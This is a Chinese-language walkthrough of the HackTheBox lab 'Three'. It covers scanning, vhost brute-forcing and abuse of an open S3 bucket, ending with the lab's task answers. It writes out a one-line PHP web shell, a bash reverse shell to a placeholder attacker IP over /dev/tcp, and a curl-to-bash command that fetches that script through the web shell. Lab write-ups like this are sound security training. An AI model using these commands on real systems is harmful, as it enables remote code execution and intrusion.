HackTheBox-Three

admin 2024年2月24日01:54:05评论17 views字数 2280阅读7分36秒阅读模式

初始点1级第五关Three

获取目标IP。

HackTheBox-Three

nmap扫描开放端口。

nmap -sV {target_IP}

HackTheBox-Three

端口80(http)、22(ssh)开放。

浏览器访问目标IP。网页下滑发现联系方式栏,其中电子邮箱带有域名,thetoppers.htb

HackTheBox-Three

我们需要在/etc/hosts文件中添加该域名,使其可以访问。

/etc/hosts文件用于将主机名解析为IP地址。默认情况下,/etc/hosts是在DNS服务器之前查询解析。

vim /etc/hosts

HackTheBox-Three

已知域名thetoppers.htb,我们可以使用gobuster爆破其他域名。

执行以下命令。

gobuster vhost -w /usr/share/wordlists/subdomains-top1million-5000.txt -u http://thetoppers.htb
vhost 虚拟主机爆破模式
-w 指定字典
-u 指定url

字典可从以下地址下载。

https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-5000.txt

爆破出一个s3.thetoppers.htb的子域名,这个也需要我们添加到/etc/hosts文件中,让浏览器可以正常访问。

HackTheBox-Three

浏览器访问该地址。

http://s3.thetoppers.htb

显示以下JSON:

{"status": "running"}

HackTheBox-Three

s3存储桶

搜索结果返回包含关键字“s3 subdomain status running”,表示这是一个基于云的对象存储服务。它允许我们将东西储存在称为桶的容器中。AWS S3存储桶有各种用例,包括备份和存储、媒体托管、软件交付、静态网站等。存储在AmazonS3存储桶中的文件称为S3对象。

我们可以用awscli与s3存储桶交互,执行以下命令安装。

apt install awscli

执行以下命令进行配置。

aws configure

HackTheBox-Three

字段值随便,虽然有时候服务器被配置成不检查身份验证,但需要配置上内容才能运行。

执行以下命令,ls列出服务器所有的s3存储桶。

aws --endpoint=http://s3.thetoppers.htb s3 ls

HackTheBox-Three

执行以下命令,ls列出指定桶的对象。

aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

HackTheBox-Three

发现有一个目录images和两个文件htaccess、index.php,我们尝试将一个phpshell上传到这个s3存储桶,浏览器访问,实现代码执行。

代码如下:

<?php system($_GET["cmd"]); ?>

它使用带URL参数的system()函数cmd作为输入并将其作为系统命令执行。

创建php文件。

echo '<?php system($_GET["cmd"]); ?>' > shell.php

将shell.php上传到thetoppers.htb s3存储桶。

aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

HackTheBox-Three

上传成功,我们尝试用url参数cmd执行操作系统命令id。

http://thetoppers.htb/shell.php?cmd=id

HackTheBox-Three

服务器响应,包含id输出,说明shell.php被运行。

现在让我们尝试获得一个反向 shell。通过反向 shell,我们将触发远程主机连接回本地计算机的 IP 地址指定的监听端口。

ifconfig获取tun0IP。

HackTheBox-Three

新建一个文件shell.sh来获得一个反向shell,内容如下:

#!/bin/bash
bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1

监听1337端口。

nc -nvlp 1337

HackTheBox-Three

启一个web服务,要在shell.sh同目录下运行。

python3 -m http.server 8000

HackTheBox-Three

通过curl执行bash脚本反弹shell,浏览器访问以下地址:

http://thetoppers.htb/shell.php?cmd=curl <tun0IP>:8000/shell.sh|bash

HackTheBox-Three

一直加载中,查看监听1337端口,成功反弹shell。

HackTheBox-Three

在/var/www目录发现flag.txt,cat查看。

Three任务

任务1

问:打开了多少个 TCP 端口?

答:2

任务2

问:网站“联系方式”部分中提供的电子邮件地址的域名是什么?

答:thetoppers.htb

任务3

问:在没有 DNS 服务器的情况下,我们可以使用哪个 Linux 文件将主机名解析为 IP 地址,以便能够访问指向这些主机名的网站?

答:/etc/hosts

任务4

问:进一步枚举时发现了哪个子域?

答:s3.thetoppers.htb

任务5

问:哪个服务正在发现的子域上运行?

答:Amazon s3

任务6

问:哪个命令行实用程序可用于与在发现的子域上运行的服务进行交互?

答:awscli

任务7

问:使用哪个命令来设置 AWS CLI 安装?

答:aws configure

任务8

问:上述实用程序使用什么命令来列出所有 S3 存储桶?

答:aws s3 ls

任务9

问:该服务器配置为运行用哪种 Web 脚本语言编写的文件?

答:php

任务10

提交flag。

总结

当事情不景气时,继续前景、坚持不懈是至关重要的。


原文始发于微信公众号(AlertSec):HackTheBox-Three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月24日01:54:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-Threehttp://cn-sec.com/archives/2521298.html

发表评论

匿名网友 填写信息